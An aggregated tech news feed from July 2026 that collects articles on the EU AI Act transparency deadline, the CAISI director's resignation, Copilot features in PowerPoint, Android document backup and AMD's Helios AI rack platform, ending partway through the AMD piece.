Team IT Security - 📰 Alle Kategorien

Immer wieder sonntags KW 30: Tankrabatt, FRITZ!-Service und DNS-Filter, Paperless und neue Banknoten

Sun, 26 Jul 2026 07:30:16 +0200

Moin zusammen! Der Juli 2026 neigt sich dem Ende zu, aber die Nachrichten-Pipeline ist weiterhin prall gefüllt. In den letzten Tagen gab es einige interessante Themen:...

Zum Beitrag: Immer wieder sonntags KW 30: Tankrabatt, FRITZ!-Service und DNS-Filter, Paperless und neue Banknoten

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Auf dem Laufenden bleiben?
Fügt uns doch bei Google als bevorzugte Quelle hinzu!

Meet Open Dreamer: A JAX/Flax Reproduction of the Dreamer 4 World Model Pipeline, With the Full Training Recipe Published

Sat, 25 Jul 2026 21:26:30 +0200

A small group of AI researchers (Reactor) have released Open Dreamer, an open implementation of the Dreamer 4 world-model pipeline written in JAX and Flax NNX. What actually shipped Two repositories were released. next-state/open-dreamer holds the training pipeline: a causal video tokenizer, an action-conditioned latent dynamics model, rollout generation, and FVD scoring. reactor-team/open-dreamer holds a […]

The post Meet Open Dreamer: A JAX/Flax Reproduction of the Dreamer 4 World Model Pipeline, With the Full Training Recipe Published appeared first on MarkTechPost.

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?

Sat, 25 Jul 2026 19:50:13 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

US AI testing institute chief steps down within three months

Sat, 25 Jul 2026 19:50:12 +0200

The head of the US government’s AI testing institute, Chris Fall, has resigned about three months after taking charge of the Center for AI Standards and Innovation (CAISI), the federal organization responsible for evaluating advanced artificial intelligence models for safety and security.

Current National Institute of Standards and Technology NIST Director Arvind Raman will serve as acting CAISI Director following Fall’s departure while continuing to oversee the Commerce Department office responsible for the institute, the Daily Signal reported, citing two people familiar with the matter.

A Commerce Department spokesperson who spoke to the publication did not disclose a reason for the resignation.

Fall assumed leadership of CAISI in April after the Trump administration reorganized the former US AI Safety Institute under NIST. The institute develops methodologies for evaluating frontier AI models and works with AI developers on voluntary technical assessments covering areas such as cybersecurity, model misuse, reliability and other risks associated with increasingly capable AI systems.

The leadership change comes as governments and AI companies continue developing technical approaches for evaluating frontier AI models while enterprises expand deployments of generative AI and agentic AI across business operations.

In recent months, the Commerce Department has taken a more active role in AI policy involving advanced models, placing greater attention on how the federal government evaluates technologies with potential national security implications.

Continuity matters more than personalities

CAISI works with AI developers such as Anthropic, Google’s DeepMind and OpenAI on voluntary evaluations of frontier AI models and develops methodologies for testing model capabilities and risks. The institute does not regulate AI developers or certify commercial AI systems.

For enterprises, those evaluations are one source of technical information alongside vendors’ own testing, third-party security assessments and internal AI governance programs.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said enterprises should focus less on the individual leading the institute and more on whether its technical work continues with the same level of consistency and transparency.

“Leadership churn at CAISI weakens the signal long before it weakens the science,” Gogia said. “The testing has not stopped. Its authority simply does not travel as cleanly once the leadership does not.”

According to Gogia, the more important question for enterprises is not whether the institute’s evaluation work will continue but whether the processes supporting those evaluations remain stable.

“The instinct is to ask whether the pipeline is breaking,” he said. “The more useful question is where the pipeline now sits.”

Enterprises still carry the burden of AI governance

Gogia said organizations should continue treating government-led AI evaluations as one input into their governance processes rather than as evidence that a model is inherently safe for enterprise deployment.

“A government evaluation was always a signal, never a certificate,” he said. “A signal loses value the moment its issuer becomes unpredictable.”

He said enterprises should instead monitor whether CAISI maintains consistent evaluation methodologies, continues publishing technical findings and preserves continuity within its research teams under interim leadership.

“The name on the door is not the signal. The behaviour underneath it is,” Gogia said.

Gogia also cautioned against linking Fall’s resignation to recent Commerce Department actions involving AI policy or export controls, noting that there is no public evidence connecting the two.

“CAISI evaluates; it does not enforce export controls, because it holds no such power,” he said. “This is not a testing body reaching for enforcement. It is enforcement reaching past the testing body.”

With Raman assuming the role on an interim basis, the next significant milestone for enterprises will be the appointment of a permanent director, and whether the institute’s evaluation programs continue without disruption, the analyst said.

Gogia said the successor’s mandate may prove more important than the individual selected.

“A CAISI result is not a safe harbour,” he said. “It informs an obligation; it does not discharge one.” NIST did not immediately respond to a request for comment.

10 cool things Copilot can do in PowerPoint

Sat, 25 Jul 2026 19:50:10 +0200

Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.

In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.

Who can use Copilot in PowerPoint

Individuals with a Microsoft 365 Personal, Family, or Premium subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have higher Copilot usage allowances and access to advanced AI features.

For business users, it’s more complicated. Organizations with more than 2,000 users must pay for Microsoft 365 Copilot licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are limitations in usage, speed, and feature availability.

To see what kind of access you have, log in to Microsoft’s Copilot Chat web hub and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.

(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our Copilot Chat tutorial for details.)

Working with Copilot in PowerPoint

First, let’s quickly go over the notable settings of the Copilot sidebar.

When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.

The sidebar on the right is where you interact with Copilot in PowerPOint.

Howard Wen / Foundry

Agent mode: By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the Allow editing button above the chat window and change it to Chat only.

The tips in this guide require that Copilot be in agent mode, so make sure you see Allow editing above the chat window.

Choice of AI model: Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT. By default, it decides which model to use based on your prompt. You can set it to use a particular model: click Auto at the upper right of the Copilot pane and select a model from the dropdown that opens.

You can choose which AI model you want Copilot to use for a request.

Howard Wen / Foundry

The tips in this guide should work fine on the default Auto setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.

Important: Remember that generative AI output often includes errors, so always check Copilot’s output for accuracy. (Also see our tips for reducing hallucinations in Copilot.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.

1. Create a presentation template

For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.

Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.

A good prompt should contain the slide count, subject, audience, and tone. Example:

Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.

Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.

Copilot generates a presentation with placeholder data and explains its elements.

Howard Wen / Foundry

You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.

2. Create a presentation from a document

You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.

Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.

In the Copilot pane, click the + icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)

Attaching a document for Copilot to base a presentation on.

Howard Wen / Foundry

Then in the chat window, you can enter a prompt that’s as simple as “Create a presentation,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.

Answer any follow-up questions that Copilot asks, and it will then generate the presentation.

Copilot has generated a professional presentation from a social media marketing campaign document.

Howard Wen / Foundry

Note: Your marketing department may have created one or more branded company templates for Copilot to work from. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.

3. Add content from a document to a slide

Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.

In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:

Add a slide based on the attached document.
Use the attached file to add a slide about the project budget that focuses on Q1 projections.
Summarize only the financial section of the attached document as a slide.

A new Copilot-generated slide based on data from an Excel spreadsheet.

Howard Wen / Foundry

4. Refine your slide text

A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.

You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click Edit with Copilot.

On the menu that opens, you can select a preset prompt to refine the text, such as Condense or Make professional. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.

Choose a preset prompt for refining text on a slide or type in your own prompt.

Howard Wen / Foundry

Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.

Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:

Make these slides more visual and use less text.

5. Find or create an image

If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.

To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:

Add a stock photo of young adults in a cafe drinking boba tea.
Add a photo from our asset library of young adults in a cafe drinking boba tea.

To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:

Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.

Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.

Howard Wen / Foundry

Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off.

Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.

6. Expand your presentation with relevant slides

As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.

In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:

Add a slide after slide 3 about our competitive advantages.
Add a slide after slide 11 that transitions to slide 12.

Need a transition slide? Just ask!

Howard Wen / Foundry

7. Summarize a presentation

Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.

In the Copilot pane, just type “summarize this presentation.” You can also have Copilot flag key slides that contain important information: “show me key slides.”

Ask Copilot to summarize a presentation or flag key slides.

Howard Wen / Foundry

8. Answer questions about a presentation

As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.

In the Copilot pane, type specific informational questions. Examples:

What are the action items in this deck?
What is the proposed budget mentioned here?

If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.

Ask Copilot specific questions about the contents of a presentation.

Howard Wen / Foundry

This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)

You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.

9. Help you navigate a large presentation

In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.

In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:

Show me the slides about the project timeline.

Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.

Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.

Howard Wen / Foundry

10. Generate speaker notes and/or an FAQ

Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:

Write speaker notes for every slide with one talking point per slide.

Copilot can create speaker notes in seconds.

Howard Wen / Foundry

In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:

Write an FAQ for these slides.

Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.

A Copilot-generated FAQ slide.

Howard Wen / Foundry

Your instant Android backup upgrade

Sat, 25 Jul 2026 19:50:10 +0200

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

AMD raises the AI stakes with Helios, Venice and robotics

Sat, 25 Jul 2026 19:50:07 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

